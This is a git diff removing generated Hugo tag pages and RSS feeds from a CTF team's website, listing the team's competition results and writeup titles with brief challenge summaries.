+0,0 @@ - - - - - - - - - - - Pwn - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Pwn

- - - -
- - -
-

2025

- -
- -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/pwn/index.xml b/public/tags/pwn/index.xml deleted file mode 100644 index 023febec..00000000 --- a/public/tags/pwn/index.xml +++ /dev/null @@ -1,126 +0,0 @@ - - - - Pwn on ByteTheCookies - http://localhost:1313/tags/pwn/ - Recent content in Pwn on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 29 Jul 2025 09:09:33 +0200 - - Word Wide Flag CTF 2025 - http://localhost:1313/writeups/wwfctf2025/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/writeups/wwfctf2025/ - World Wide CTF 2025 Description Hack, solve, and conquer — a CTF designed to challenge minds of all levels. World Wide Flags is back this year with World Wide CTF 2025! -More Prizes, More Categories, and Much More Fun! -Url Discord Performance Summary CTFs: 20/57 Total points: 6537 Position: 24/850 Rating points: 12.510 Writeups Web &amp; Web3 Blank Login Solidity Jail 1 - - - - L3akCTF 2025 - http://localhost:1313/writeups/l3akctf2025/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/writeups/l3akctf2025/ - L3akCTF 2025 Description Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc. -Url Discord Performance Summary CTFs: 19/65 Total points: 950 Position: 201/1587 Rating points: 1.725 Writeups Hardware Beneath the Surface - - - - CornCTF 2025 - http://localhost:1313/writeups/cornctf2025/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/writeups/cornctf2025/ - CornCTF 2025 Description A CTF by a friendly team of farmers. Includes challenges of the following categories: -Url Discord Performance Summary CTFs: 8/22 Total points: 1966 Position: 9/270 Rating points: 8.811 Writeups Crypto ECRSA Web Aeronaut Simple-chat - - - - m0leCon 2025 Beginner CTF - http://localhost:1313/writeups/m0lecon2025beginner/ - Sun, 22 Dec 2024 22:11:36 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/ - m0leCon 2025 Beginner CTF Description Annual edition of the beginner version of m0leCon CTF, that will happen in spring 2025. -Challenges are targeted to newcomers and students. -Team size limit is 4 people per team. -The m0leCon Beginner CTF will not award rating points on CTFTime. -Url Discord Performance Summary CTFs: 18/20 Total points: 2700 Position: 2/385 Rating points: 0.0 Writeups Crypto Small Auth Web Go Secure It ImgPlace - - - - IRON CTF 2024 - http://localhost:1313/writeups/ironctf2024/ - Sun, 06 Oct 2024 13:48:21 +0200 - - http://localhost:1313/writeups/ironctf2024/ - IRON CTF 2024 Description Welcome to the inaugural edition of IRON CTF (Intrusion Reconnaissance and Offensive Navigation CTF)! -Team 1nf1n1ty from SASTRA Deemed University invites you to embark on an exciting online Jeopardy-style Capture the Flag challenge. Whether you&rsquo;re just starting out or a seasoned hacker, this event promises the perfect platform to push your limits, hone your skills, and enjoy the thrill of competition. -Tackle diverse challenges in categories like Web Exploitation, Game Hacking, Reverse Engineering, Cryptography, Forensics, Binary Exploitation, and more. - - - - PatriotCTF 2024 - http://localhost:1313/writeups/patriotctf2024/ - Fri, 27 Sep 2024 17:24:46 +0200 - - http://localhost:1313/writeups/patriotctf2024/ - Patrioc CTF 2024 Description PatriotCTF is an online jeopardy-style CTF hosted by George Mason University&rsquo;s Competitive Cyber Club. All are welcome to participate, including students and security professionals. Challenges will range from beginner to expert, so there should be something for everyone. -Url Discord Performance Summary CTFs: 32/65 Total points: 5308 Position: 63/1360 Rating points: 9.735 Writeups No writeups today&hellip; - - - - CyberSpace CTF 2024 - http://localhost:1313/writeups/cyberspace2024/ - Mon, 02 Sep 2024 10:52:16 +0200 - - http://localhost:1313/writeups/cyberspace2024/ - CyberSpace CTF 2024 Description Get ready to dive into the cyberspace and tackle challenges across categories such as Forensics, Reverse Engineering, Cryptography, Jail, and many more, at https://2024.csc.tf! -Url Discord Performance Summary CTFs: 21/63 Total points: 2032 Position: 83/830 Rating points: 3.355 Writeups Crypto trendy windy trigonity Web ZipZone FeatureUnlocked Trendz (part 1 and 2) Rev Snake - - - - SekaiCTF 2024 - http://localhost:1313/writeups/sekaictf2024/ - Mon, 26 Aug 2024 16:58:34 +0200 - - http://localhost:1313/writeups/sekaictf2024/ - SekaiCTF 2024 Description SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side. -Url Discord Performance Summary CTFs: 3/34 Total points: 369 Position: 136/1230 Rating points: 2.721 Writeups Rev CrackMe Crypto Some trick PPC (Professional Programming &amp; Coding) Miku vs. - - - - IdekCTF 2024 - http://localhost:1313/writeups/idekctf2024/ - Sun, 18 Aug 2024 12:58:37 +0200 - - http://localhost:1313/writeups/idekctf2024/ - IdekCTF 2024 Description idekCTF is an information security CTF competition organized by the idek team and is aimed at the entire spectrum from high school and university students to experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories. -Url Discord Performance Summary CTFs: 6/35 Total points: 732 Position: 101/1070 Rating points: 5.405 Writeups Web Hello - - - - Lexington Informatics Tournament CTF 2024 - http://localhost:1313/writeups/litctf2024/ - Tue, 13 Aug 2024 12:20:57 +0200 - - http://localhost:1313/writeups/litctf2024/ - Lexington Informatics Tournament CTF Description Lexington Informatics Tournament CTF 2024 is a Jeopardy-style, beginner-friendly online CTF that&rsquo;s open to everyone. -Url Discord Performance Summary CTFs: 18/32 Total points: 2068 Position: 95/830 Rating points: 19.095 Writeups Web Kirbytime - - - - N00bzCTF 2024 - http://localhost:1313/writeups/n00bzctf2024/ - Mon, 05 Aug 2024 18:26:54 +0200 - - http://localhost:1313/writeups/n00bzctf2024/ - N00bz CTF 2024 Description A 48 hours CTF hosted by n00bz for n00bz. Organized with beginner friendly challenges (and some hard ones), n00bzCTF is dedicated to make cyber security more friendly and approachable for complete n00bz. -Url Discord Performance Summary CTFs: 31/32 Total points: 9794.000 Position: 24/967 Rating points: 24.067 Writeups Web File Sharing Portal Misc Waas - - - - \ No newline at end of file diff --git a/public/tags/pwn/page/1/index.html b/public/tags/pwn/page/1/index.html deleted file mode 100644 index c2c4a16f..00000000 --- a/public/tags/pwn/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/pwn/ - - - - - - diff --git a/public/tags/pwn/page/2/index.html b/public/tags/pwn/page/2/index.html deleted file mode 100644 index 455127c2..00000000 --- a/public/tags/pwn/page/2/index.html +++ /dev/null @@ -1,332 +0,0 @@ - - - - - - - - - - - Pwn - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Pwn

- - - -
- - -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/pwn/page/3/index.html b/public/tags/pwn/page/3/index.html deleted file mode 100644 index 15ef30fd..00000000 --- a/public/tags/pwn/page/3/index.html +++ /dev/null @@ -1,296 +0,0 @@ - - - - - - - - - - - Pwn - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Pwn

- - - -
- - -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/pwnlentoni/index.html b/public/tags/pwnlentoni/index.html deleted file mode 100644 index b4dd6f38..00000000 --- a/public/tags/pwnlentoni/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Pwnlentoni - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Pwnlentoni

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/pwnlentoni/index.xml b/public/tags/pwnlentoni/index.xml deleted file mode 100644 index 08dc8884..00000000 --- a/public/tags/pwnlentoni/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Pwnlentoni on ByteTheCookies - http://localhost:1313/tags/pwnlentoni/ - Recent content in Pwnlentoni on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Jun 2025 18:30:32 +0200 - - CornCTF 2025 - http://localhost:1313/writeups/cornctf2025/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/writeups/cornctf2025/ - CornCTF 2025 Description A CTF by a friendly team of farmers. Includes challenges of the following categories: -Url Discord Performance Summary CTFs: 8/22 Total points: 1966 Position: 9/270 Rating points: 8.811 Writeups Crypto ECRSA Web Aeronaut Simple-chat - - - - \ No newline at end of file diff --git a/public/tags/pwnlentoni/page/1/index.html b/public/tags/pwnlentoni/page/1/index.html deleted file mode 100644 index 1bafc376..00000000 --- a/public/tags/pwnlentoni/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/pwnlentoni/ - - - - - - diff --git a/public/tags/pythom/index.html b/public/tags/pythom/index.html deleted file mode 100644 index 13223fb2..00000000 --- a/public/tags/pythom/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Pythom - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Pythom

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/pythom/index.xml b/public/tags/pythom/index.xml deleted file mode 100644 index 368f04f7..00000000 --- a/public/tags/pythom/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Pythom on ByteTheCookies - http://localhost:1313/tags/pythom/ - Recent content in Pythom on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:23 +0200 - - aeronaut - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Tue, 08 Jul 2025 20:33:23 +0200 - - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Aeronaut Description: &hellip; -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/pythom/page/1/index.html b/public/tags/pythom/page/1/index.html deleted file mode 100644 index 979e503e..00000000 --- a/public/tags/pythom/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/pythom/ - - - - - - diff --git a/public/tags/python/index.html b/public/tags/python/index.html deleted file mode 100644 index 724b1681..00000000 --- a/public/tags/python/index.html +++ /dev/null @@ -1,335 +0,0 @@ - - - - - - - - - - - Python - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Python

- - - -
- - -
-

2025

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/python/index.xml b/public/tags/python/index.xml deleted file mode 100644 index 092790f8..00000000 --- a/public/tags/python/index.xml +++ /dev/null @@ -1,215 +0,0 @@ - - - - Python on ByteTheCookies - http://localhost:1313/tags/python/ - Recent content in Python on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:28 +0200 - - Simple Chat - http://localhost:1313/writeups/cornctf2025/simple-chat/ - Tue, 08 Jul 2025 20:33:28 +0200 - - http://localhost:1313/writeups/cornctf2025/simple-chat/ - Simple-Chat Description: Simple web application to chat with your friends! Sometimes it does funny things and it&rsquo;s ok like that -Introduction Okay, this is a really nice challenge. This is a pretty second CTF web challenge. It&rsquo;s a simple XSS with a twist. -Source Let&rsquo;s look at two parts of the FUNDAMENTAL code -// filename: app.js app.post('/api/v1/insertChat', async (req, res) =&gt; { const sender = req.body.sender; const receiver = req.body.receiver; var message = req. - - - - aeronaut - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Tue, 08 Jul 2025 20:33:23 +0200 - - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Aeronaut Description: Aeronaut is a gambling game in which you bet on a multiplier. The goal is to get 100.000.000$. Good luck! -Introduction The last round of the CyberCup2025 competition was very good, with a challenging CTF. The challenge is a gambling game in which you bet on a multiplier. The goal is to earn 100,000,000 dollars. The game is implemented in Python using WebSocket and uses insecure randomness to generate multipliers. - - - - Telemetry - http://localhost:1313/writeups/ulisse2025/telemetry/ - Tue, 08 Apr 2025 18:05:04 +0200 - - http://localhost:1313/writeups/ulisse2025/telemetry/ - Telemetry Description: Elia has just developed a brand-new website to analyze logs at runtime 🧻. Confident in his security skills, he bet his entire house that you won&rsquo;t find the hidden flag&hellip; Will you prove him wrong? 🏠🔍 -Introduction Fourth round of the Cybercup 2025 ulisseCTF I want to show the writeup of the first web, a really interesting challenge. -Source The application is a simple Flask app with 0 css (we almost like it). - - - - Online Python Editor - http://localhost:1313/writeups/trx2025/onlinepythoneditor/ - Tue, 11 Mar 2025 18:12:32 +0100 - - http://localhost:1313/writeups/trx2025/onlinepythoneditor/ - Online Python Editor Description: If you&rsquo;re tired of fast and good-looking editors, try this. Now with extra crispiness! -Introduction This is the first web in the TRX2025 CTF. And it&rsquo;s basically a simple online Python editor with a syntax checker. -Source Go to the source code and we can immediately see two things: -In a file called secret.py, which is never called, read or otherwise used. -The main app.py file - - - - Ben 10 - http://localhost:1313/writeups/srdnlen2025/ben10/ - Tue, 11 Mar 2025 16:52:02 +0100 - - http://localhost:1313/writeups/srdnlen2025/ben10/ - Ben 10 Description: Ben Tennyson&rsquo;s Omnitrix holds a mysterious and powerful form called Materia Grigia — a creature that only those with the sharpest minds can access. It&rsquo;s hidden deep within the system, waiting for someone clever enough to unlock it. Only the smartest can access what’s truly hidden. -Can you outsmart the system and reveal the flag? -Introduction This is one of the webs of the 2025 italian championship cybercup first round, the ctf was made in january 2025, and I&rsquo;m writing the writeups only so some information could be wrong or not complete. - - - - Locked Door - http://localhost:1313/writeups/m0lecon2025beginner/lockeddoor/ - Mon, 23 Dec 2024 16:55:16 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/lockeddoor/ - Locked Door Description: In front of you stands a door with a digital terminal. Will you be able to open it? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - ImgPlace - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - Mon, 23 Dec 2024 16:48:55 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - ImgPlace Description: Are you a photographer but have no reputation? Join ImgPlace! Share your photos&hellip; and become popular! -Introduction We have a very simple application where we are allowed to register and log in and then we can upload images via url and associated description -Source The source is only parsable by devtools from the browser, and we can see that in the pic.js file we have a function that sanitizes the image description - - - - MovieReviewApp - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - Mon, 07 Oct 2024 22:50:14 +0200 - - http://localhost:1313/writeups/ironctf2024/moviereviewapp/ - MovieReviewApp Description: Last web challenge done in the ctf (unfortunately) also one of the fastest to do if you know the right tools -Introduction The challenge looks like a very simple site in pure html where we see reviews on movies -Source Is not present the source BUT&hellip; -Solution The first thing that stands out is that in the URL there are extensions, so we understand that probably the system behind it is not very complex, in fact, going to the root endpoint we notice - - - - b64SiteViewer - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - Mon, 07 Oct 2024 22:24:02 +0200 - - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - b64SiteViewer Description: This is one of the challenges added later, but despite that it wasn&rsquo;t very complex, in fact the most complex part wasn&rsquo;t even the web part, but despite that the challenge was still really nice -Introduction We are faced with a very simple application in which, given a url, the base64 of the page content is given back to us, plus there is a special endpoint that allows us to execute certain commands - - - - Loan App - http://localhost:1313/writeups/ironctf2024/loan_app/ - Sun, 06 Oct 2024 14:41:13 +0200 - - http://localhost:1313/writeups/ironctf2024/loan_app/ - Loan app Description: One of the first web challenges solved in ctf, not very complex (at least the unintended solution) -Introduction This is the challenge web with the most solutions, which I must say is very nice, my solution is the unintended but also the most common one, in fact the correct approach would have been to do &lsquo;request smuggling&rsquo;, which is a much more complex attack to bypass the proxy, which in this case consists of splitting a request between proxy and backend. - - - - Feature Unlocked - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Mon, 02 Sep 2024 10:59:31 +0200 - - http://localhost:1313/writeups/cyberspace2024/feature_unlocked/ - Feature unlocked Description: The world&rsquo;s coolest app has a brand new feature! Too bad it&rsquo;s not released until after the CTF.. -Link: https://feature-unlocked-web-challs.csc.tf/ -Introduction Feature unlocked is part of the first wave of the web and is one of the first challanges I solved. Made by cryptocat, who we salute, it is a fairly simple challange if you read the code correctly. -Source # filename: main.py import subprocess import base64 import json import time import requests import os from flask import Flask, request, render_template, make_response, redirect, url_for from Crypto. - - - - ZipZone - http://localhost:1313/writeups/cyberspace2024/zipzone/ - Mon, 02 Sep 2024 10:59:17 +0200 - - http://localhost:1313/writeups/cyberspace2024/zipzone/ - Zipzone Description: I was tired of trying to find a good file server for zip files, so I made my own! It&rsquo;s still a work in progress, but I think it&rsquo;s pretty good so far. -Link: https://zipzone-web.challs.csc.tf/ -Introduction ZipZone is the only one web in the beginner&rsquo;s category and, as the title suggests, you have to upload zip files that will be unzipped later, so you have to download the extracted files afterwards. - - - - Miku vs. Machine - http://localhost:1313/writeups/sekaictf2024/mikuvsmachine/ - Mon, 26 Aug 2024 17:04:29 +0200 - - http://localhost:1313/writeups/sekaictf2024/mikuvsmachine/ - Miku vs. Machine Description: Time limit is 2 seconds for this challenge. -Official resources of challenge -Introduction The goal is to distribute the hours of n singers in m shows. Each show has a number of hours equal to l (unknown) and can only change singers once. We also want that each singer will have the same time on stage. -Solution To solve this problem, I use a greedy strategy that iteratively divides the available singing time among the singers, ensuring that each singer fulfills their required hours. - - - - Some Trick - http://localhost:1313/writeups/sekaictf2024/sometrick/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/sometrick/ - Some Trick Description: Bob and Alice found a futuristic version of opunssl and replaced all their needs for doofy wellmen. -Introduction Some Trick was the first cryptography challenge in the 2024 edition of SekaiCTF. The challenge implements a key exchange based on a set of permutations and asks us to retrieve the flag that was used as a key in Bob&rsquo;s first encryption. -import random from secrets import randbelow, randbits from flag import FLAG CIPHER_SUITE = randbelow(2**256) print(f&quot;oPUN_SASS_SASS_l version 4. - - - - Kirbytime - http://localhost:1313/writeups/litctf2024/kirbytime/ - Tue, 13 Aug 2024 13:01:07 +0200 - - http://localhost:1313/writeups/litctf2024/kirbytime/ - Kirbytime Description: Welcome to Kirby&rsquo;s Website. -Introduction We find ourselves in front of a very pink Kirby-themed page, where we are asked to enter a password of 7 characters. -Source # filename: main.py import sqlite3 from flask import Flask, request, redirect, render_template import time app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def login(): message = None if request.method == 'POST': password = request.form['password'] real = 'REDACTED' if len(password) != 7: return render_template('login. - - - - File Sharing Portal - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - File Sharing Portal Description: Welcome to the file sharing portal! We only support tar files! -Introduction The ctf has a very simple structure: we have a form in which we are asked to insert a tar file; once the tar file has been inserted, it is unzipped and we are shown the name of files it contains; by clicking on the different files, we can read their contents. -Source The source has comments added later to allow a better understanding of the code in the writeups - - - - WaaS - http://localhost:1313/writeups/noobzctf2024/waas/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/writeups/noobzctf2024/waas/ - Waas Description: Writing as a Service! -Introduction WaaS (Writing as a Service) allows us to overwrite a file on the system (after some input validation) and insert anything (until a newline is met) we want in it. -import subprocess from base64 import b64decode as d while True: print(&quot;[1] Write to a file\n[2] Get the flag\n[3] Exit&quot;) try: inp = int(input(&quot;Choice: &quot;).strip()) except: print(&quot;Invalid input!&quot;) exit(0) if inp == 1: file = input(&quot;Enter file name: &quot;). - - - - Blank Login - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Mon, 01 Jan 0001 00:00:00 +0000 - - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Blank Login Description: Hm, I don&rsquo;t remember, probably something about three databases. -Introduction This is the third web application I&rsquo;ve exploited. It&rsquo;s a very cool challenge, not too complex, and very fun. There&rsquo;s a not-very-easy race condition to spot. In fact, I think that&rsquo;s the most difficult part. So, let&rsquo;s start. -We have a small Flask application with about 200 lines of code, so it&rsquo;s not too bad. The first page is a login page without a register page. - - - - \ No newline at end of file diff --git a/public/tags/python/page/1/index.html b/public/tags/python/page/1/index.html deleted file mode 100644 index d318f1b4..00000000 --- a/public/tags/python/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/python/ - - - - - - diff --git a/public/tags/python/page/2/index.html b/public/tags/python/page/2/index.html deleted file mode 100644 index 4e4d2af8..00000000 --- a/public/tags/python/page/2/index.html +++ /dev/null @@ -1,335 +0,0 @@ - - - - - - - - - - - Python - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Python

- - - -
- - -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/python/page/3/index.html b/public/tags/python/page/3/index.html deleted file mode 100644 index 6dccb27b..00000000 --- a/public/tags/python/page/3/index.html +++ /dev/null @@ -1,335 +0,0 @@ - - - - - - - - - - - Python - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Python

- - - -
- - -
-

2024

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/python/page/4/index.html b/public/tags/python/page/4/index.html deleted file mode 100644 index 10554d5f..00000000 --- a/public/tags/python/page/4/index.html +++ /dev/null @@ -1,324 +0,0 @@ - - - - - - - - - - - Python - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Python

- - - -
- - -
-

2024

- -
- -
-

0001

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/race-condition/index.html b/public/tags/race-condition/index.html deleted file mode 100644 index efd5424e..00000000 --- a/public/tags/race-condition/index.html +++ /dev/null @@ -1,305 +0,0 @@ - - - - - - - - - - - Race Condition - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Race Condition

- - - -
- - -
-

2025

- -
    - -
  • - Speed - - - 03/11 - - -
  • - -
- -
-

2024

- -
    - -
  • - Trendz - - - 09/02 - - -
  • - -
- -
-

0001

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/race-condition/index.xml b/public/tags/race-condition/index.xml deleted file mode 100644 index 3e4e2880..00000000 --- a/public/tags/race-condition/index.xml +++ /dev/null @@ -1,42 +0,0 @@ - - - - Race Condition on ByteTheCookies - http://localhost:1313/tags/race-condition/ - Recent content in Race Condition on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 11 Mar 2025 17:20:39 +0100 - - Speed - http://localhost:1313/writeups/srdnlen2025/speed/ - Tue, 11 Mar 2025 17:20:39 +0100 - - http://localhost:1313/writeups/srdnlen2025/speed/ - Speed Description: Welcome to Radiator Springs&rsquo; finest store, where every car enthusiast&rsquo;s dream comes true! But remember, in the world of racing, precision matters—so tread carefully as you navigate this high-octane experience. Ka-chow! -Introduction For the second web challenge of srdnlen2025 we have a very interesting but not particularly complicated challenge. -The challenge is presented as a simple shop, so the goal is to buy the flag, which has a very high price. - - - - Trendz - http://localhost:1313/writeups/cyberspace2024/trendz/ - Mon, 02 Sep 2024 10:59:04 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendz/ - Trendz (part 1 & 2) Preamble This challenge is divided into four parts, three webs and a reverse. I&rsquo;m excited to share that I managed to solve the first two webs! I&rsquo;ll insert them all in a write-up, trying to explain them in the way the author thought. I admit I did not solve them in order, but I&rsquo;m eager to see how they fit together. The application was written in Go using templates and a JWT authentication, and it&rsquo;s write well! - - - - Blank Login - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Mon, 01 Jan 0001 00:00:00 +0000 - - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Blank Login Description: Hm, I don&rsquo;t remember, probably something about three databases. -Introduction This is the third web application I&rsquo;ve exploited. It&rsquo;s a very cool challenge, not too complex, and very fun. There&rsquo;s a not-very-easy race condition to spot. In fact, I think that&rsquo;s the most difficult part. So, let&rsquo;s start. -We have a small Flask application with about 200 lines of code, so it&rsquo;s not too bad. The first page is a login page without a register page. - - - - \ No newline at end of file diff --git a/public/tags/race-condition/page/1/index.html b/public/tags/race-condition/page/1/index.html deleted file mode 100644 index 0f55d3ab..00000000 --- a/public/tags/race-condition/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/race-condition/ - - - - - - diff --git a/public/tags/rev/index.html b/public/tags/rev/index.html deleted file mode 100644 index 4b244d9b..00000000 --- a/public/tags/rev/index.html +++ /dev/null @@ -1,307 +0,0 @@ - - - - - - - - - - - Rev - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Rev

- - - -
- - -
-

2025

- -
- -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/rev/index.xml b/public/tags/rev/index.xml deleted file mode 100644 index b1d919f7..00000000 --- a/public/tags/rev/index.xml +++ /dev/null @@ -1,55 +0,0 @@ - - - - Rev on ByteTheCookies - http://localhost:1313/tags/rev/ - Recent content in Rev on ByteTheCookies - Hugo -- gohugo.io - en - Thu, 17 Jul 2025 17:51:20 +0200 - - L3akCTF 2025 - http://localhost:1313/writeups/l3akctf2025/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/writeups/l3akctf2025/ - L3akCTF 2025 Description Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc. -Url Discord Performance Summary CTFs: 19/65 Total points: 950 Position: 201/1587 Rating points: 1.725 Writeups Hardware Beneath the Surface - - - - m0leCon 2025 Beginner CTF - http://localhost:1313/writeups/m0lecon2025beginner/ - Sun, 22 Dec 2024 22:11:36 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/ - m0leCon 2025 Beginner CTF Description Annual edition of the beginner version of m0leCon CTF, that will happen in spring 2025. -Challenges are targeted to newcomers and students. -Team size limit is 4 people per team. -The m0leCon Beginner CTF will not award rating points on CTFTime. -Url Discord Performance Summary CTFs: 18/20 Total points: 2700 Position: 2/385 Rating points: 0.0 Writeups Crypto Small Auth Web Go Secure It ImgPlace - - - - IRON CTF 2024 - http://localhost:1313/writeups/ironctf2024/ - Sun, 06 Oct 2024 13:48:21 +0200 - - http://localhost:1313/writeups/ironctf2024/ - IRON CTF 2024 Description Welcome to the inaugural edition of IRON CTF (Intrusion Reconnaissance and Offensive Navigation CTF)! -Team 1nf1n1ty from SASTRA Deemed University invites you to embark on an exciting online Jeopardy-style Capture the Flag challenge. Whether you&rsquo;re just starting out or a seasoned hacker, this event promises the perfect platform to push your limits, hone your skills, and enjoy the thrill of competition. -Tackle diverse challenges in categories like Web Exploitation, Game Hacking, Reverse Engineering, Cryptography, Forensics, Binary Exploitation, and more. - - - - Crack Me - http://localhost:1313/writeups/sekaictf2024/crackme/ - Mon, 26 Aug 2024 17:04:19 +0200 - - 